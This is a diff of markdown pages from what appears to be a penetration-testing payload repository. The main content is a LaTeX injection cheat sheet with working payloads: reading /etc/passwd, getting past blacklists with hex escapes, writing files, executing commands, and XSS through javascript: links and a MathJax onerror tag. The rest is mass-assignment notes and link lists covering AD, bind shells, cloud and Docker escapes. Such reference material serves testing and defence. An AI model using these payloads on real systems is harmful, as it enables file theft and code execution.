- [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)

View File

@@ -1,8 +1,22 @@
# LaTex Injection # LaTeX Injection
You might need to adjust injection with wrappers as `\[` or `$`. > LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
## Read file ## Summary
* [File Manipulation](#file-manipulation)
* [Read File](#read-file)
* [Write File](#write-file)
* [Command Execution](#command-execution)
* [Cross Site Scripting](#cross-site-scripting)
* [Labs](#labs)
* [References](#references)
## File Manipulation
### Read File
Attackers can read the content of sensitive files on the server.
Read file and interpret the LaTeX code in it: Read file and interpret the LaTeX code in it:
@@ -41,8 +55,8 @@ Read text file, **without** interpreting the content, it will only paste raw fil
\verbatiminput{/etc/passwd} \verbatiminput{/etc/passwd}
``` ```
If injection point is past document header (`\usepackage` cannot be used), some control If injection point is past document header (`\usepackage` cannot be used), some control
characters can be deactivated in order to use `\input` on file containing `$`, `#`, characters can be deactivated in order to use `\input` on file containing `$`, `#`,
`_`, `&`, null bytes, ... (eg. perl scripts). `_`, `&`, null bytes, ... (eg. perl scripts).
```tex ```tex
@@ -53,15 +67,16 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl} \input{path_to_script.pl}
``` ```
To bypass a blacklist try to replace one character with it's unicode hex value. To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the e must be lower case * ^^41 represents a capital A
* ^^7e represents a tilde (~) note that the e must be lower case
```tex ```tex
\lstin^^70utlisting{/etc/passwd} \lstin^^70utlisting{/etc/passwd}
``` ```
## Write file ### Write File
Write single lined file: Write single lined file:
@@ -74,7 +89,7 @@ Write single lined file:
\closeout\outfile \closeout\outfile
``` ```
## Command execution ## Command Execution
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it. The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
@@ -97,17 +112,26 @@ If you get any LaTex error, consider using base64 to get the result without bad
## Cross Site Scripting ## Cross Site Scripting
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```tex ```tex
\url{javascript:alert(1)} \url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder} \href{javascript:alert(1)}{placeholder}
``` ```
Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{Frogs%20find%20bugs}$` In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.html)
```tex
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
```
## Labs
* [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
* [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
## References ## References
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/) * [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://web.archive.org/web/20260209043241/https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) * [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://web.archive.org/web/20210117203905/https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](https://web.archive.org/web/20161130151956/https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

View File

@@ -4,12 +4,11 @@
## Summary ## Summary
* [Exploit](#exploit) * [Methodology](#methodology)
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## Methodology
## Exploit
Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality. Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
@@ -28,15 +27,14 @@ However, an attacker may attempt to add an `isAdmin` parameter to the incoming d
If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
## Labs ## Labs
* [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964) * [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
* [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922) * [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
* [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
## References ## References
* [Hunting for Mass Assignment - Shivam Bathla - Aug 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda) * [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
* [Mass Assignment Cheat Sheet - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) * [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://web.archive.org/web/20260216020815/https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - JUNE 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/) * [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)

View File

@@ -43,9 +43,9 @@
- [Trust - Relationship](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-relationship/) - [Trust - Relationship](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-relationship/)
- [Child Domain to Forest Compromise - SID Hijacking](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-sid-hijacking/) - [Child Domain to Forest Compromise - SID Hijacking](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-sid-hijacking/)
- [Forest to Forest Compromise - Trust Ticket](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-ticket/) - [Forest to Forest Compromise - Trust Ticket](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-ticket/)
- [CVE](#) - [CVE](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
- [MS14-068 Checksum Validation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/) - [MS14-068 Checksum Validation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
- [NoPAC / samAccountName Spoofing](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/NoPAC/) - [NoPAC / samAccountName Spoofing](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/NoPAC/)
- [PrintNightmare](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrintNightmare/) - [PrintNightmare](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrintNightmare/)
- [PrivExchange](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrivExchange/) - [PrivExchange](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrivExchange/)
- [ZeroLogon](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/ZeroLogon/) - [ZeroLogon](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/ZeroLogon/)

View File

@@ -2,12 +2,12 @@
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/shell-bind](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/) :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/shell-bind](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/)
* [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#perl) - [Perl](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#perl)
* [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#python) - [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#python)
* [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#php) - [PHP](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#php)
* [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ruby) - [Ruby](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ruby)
* [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-traditional) - [Netcat Traditional](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-traditional)
* [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd) - [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd)
* [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat) - [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat)
* [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat) - [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat)
* [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell) - [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)

View File

@@ -1,17 +1,17 @@
# Cloud - AWS # Cloud - AWS
:warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/) :warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/)
* [Cloud - AWS](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/AWS%20Pentest/) - [Cloud - AWS](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/AWS%20Pentest/)
* [AWS - Access Token & Secrets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/) - [AWS - Access Token & Secrets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/)
* [AWS - Service - Cognito](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-cognito/) - [AWS - Service - Cognito](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-cognito/)
* [AWS - Service - DynamoDB](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-dynamodb/) - [AWS - Service - DynamoDB](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-dynamodb/)
* [AWS - Service - EC2](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ec2/) - [AWS - Service - EC2](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ec2/)
* [AWS - Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-enumeration/) - [AWS - Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-enumeration/)
* [AWS - Identity & Access Management](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-iam/) - [AWS - Identity & Access Management](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-iam/)
* [AWS - IOC & Detections](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ioc-detection/) - [AWS - IOC & Detections](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ioc-detection/)
* [AWS - Service - Lambda](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-lambda/) - [AWS - Service - Lambda](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-lambda/)
* [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/) - [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/)
* [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/) - [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/)
* [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/) - [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/)
* [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/) - [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)

View File

@@ -2,11 +2,11 @@
:warning: Content of this page has been moved to [InternalAllTheThings/cloud/azure](https://github.com/swisskyrepo/InternalAllTheThings/) :warning: Content of this page has been moved to [InternalAllTheThings/cloud/azure](https://github.com/swisskyrepo/InternalAllTheThings/)
* [Azure AD Connect](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-ad-connect/) - [Azure AD Connect](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-ad-connect/)
* [Azure AD Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-enumeration/) - [Azure AD Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-enumeration/)
* [Azure AD IAM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-devices-users-sp/) - [Azure AD IAM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-devices-users-sp/)
* [Azure AD Phishing](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/) - [Azure AD Phishing](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
* [Azure AD Tokens](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-access-and-token/) - [Azure AD Tokens](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-access-and-token/)
* [Azure Persistence](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-persistence/) - [Azure Persistence](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-persistence/)
* [Azure Requirements](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-requirements/) - [Azure Requirements](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-requirements/)
* [Azure Services](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-services/) - [Azure Services](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-services/)

View File

@@ -2,31 +2,31 @@
:warning: Content of this page has been moved to [InternalAllTheThings/command-control/cobalt-strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/) :warning: Content of this page has been moved to [InternalAllTheThings/command-control/cobalt-strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/)
* [Infrastructure](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#infrastructure) - [Infrastructure](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#infrastructure)
* [Redirectors](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#redirectors) - [Redirectors](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#redirectors)
* [Domain fronting](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#domain-fronting) - [Domain fronting](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#domain-fronting)
* [OpSec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#opsec) - [OpSec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#opsec)
* [Customer ID](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#customer-id) - [Customer ID](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#customer-id)
* [Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#payloads) - [Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#payloads)
* [DNS Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#dns-beacon) - [DNS Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#dns-beacon)
* [SMB Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#smb-beacon) - [SMB Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#smb-beacon)
* [Metasploit compatibility](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#metasploit-compatibility) - [Metasploit compatibility](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#metasploit-compatibility)
* [Custom Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#custom-payloads) - [Custom Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#custom-payloads)
* [Malleable C2](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#malleable-c2) - [Malleable C2](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#malleable-c2)
* [Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#files) - [Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#files)
* [Powershell and .NET](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-and-net) - [Powershell and .NET](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-and-net)
* [Powershell commabds](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-commands) - [Powershell commabds](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-commands)
* [.NET remote execution](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#net-remote-execution) - [.NET remote execution](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#net-remote-execution)
* [Lateral Movement](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#lateral-movement) - [Lateral Movement](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#lateral-movement)
* [VPN & Pivots](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#vpn--pivots) - [VPN & Pivots](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#vpn--pivots)
* [Kits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#kits) - [Kits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#kits)
* [Elevate Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#elevate-kit) - [Elevate Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#elevate-kit)
* [Persistence Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#persistence-kit) - [Persistence Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#persistence-kit)
* [Resource Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#resource-kit) - [Resource Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#resource-kit)
* [Artifact Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#artifact-kit) - [Artifact Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#artifact-kit)
* [Mimikatz Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#mimikatz-kit) - [Mimikatz Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#mimikatz-kit)
* [Sleep Mask Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#sleep-mask-kit) - [Sleep Mask Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#sleep-mask-kit)
* [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer) - [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer)
* [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files) - [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files)
* [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike) - [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references) - [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)

View File

@@ -5,10 +5,10 @@
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#tools) - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#tools)
- [Mounted Docker Socket](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#mounted-docker-socket) - [Mounted Docker Socket](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#mounted-docker-socket)
- [Open Docker API Port](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#open-docker-api-port) - [Open Docker API Port](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry) - [Insecure Docker Registry](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#exploit-privileged-container-abusing-the-linux-cgroup-v1) - [Exploit privileged container abusing the Linux cgroup v1](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Abusing CAP_SYS_ADMIN capability](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-capsysadmin-capability) - [Abusing CAP_SYS_ADMIN capability](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-capsysadmin-capability)
- [Abusing coredumps and core_pattern](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-corepattern) - [Abusing coredumps and core_pattern](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-corepattern)
- [Breaking out of Docker via runC](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-docker-via-runc) - [Breaking out of Docker via runC](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-containers-using-a-device-file) - [Breaking out of containers using a device file](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-containers-using-a-device-file)
- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references) - [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references)

Some files were not shown because too many files have changed in this diff Show More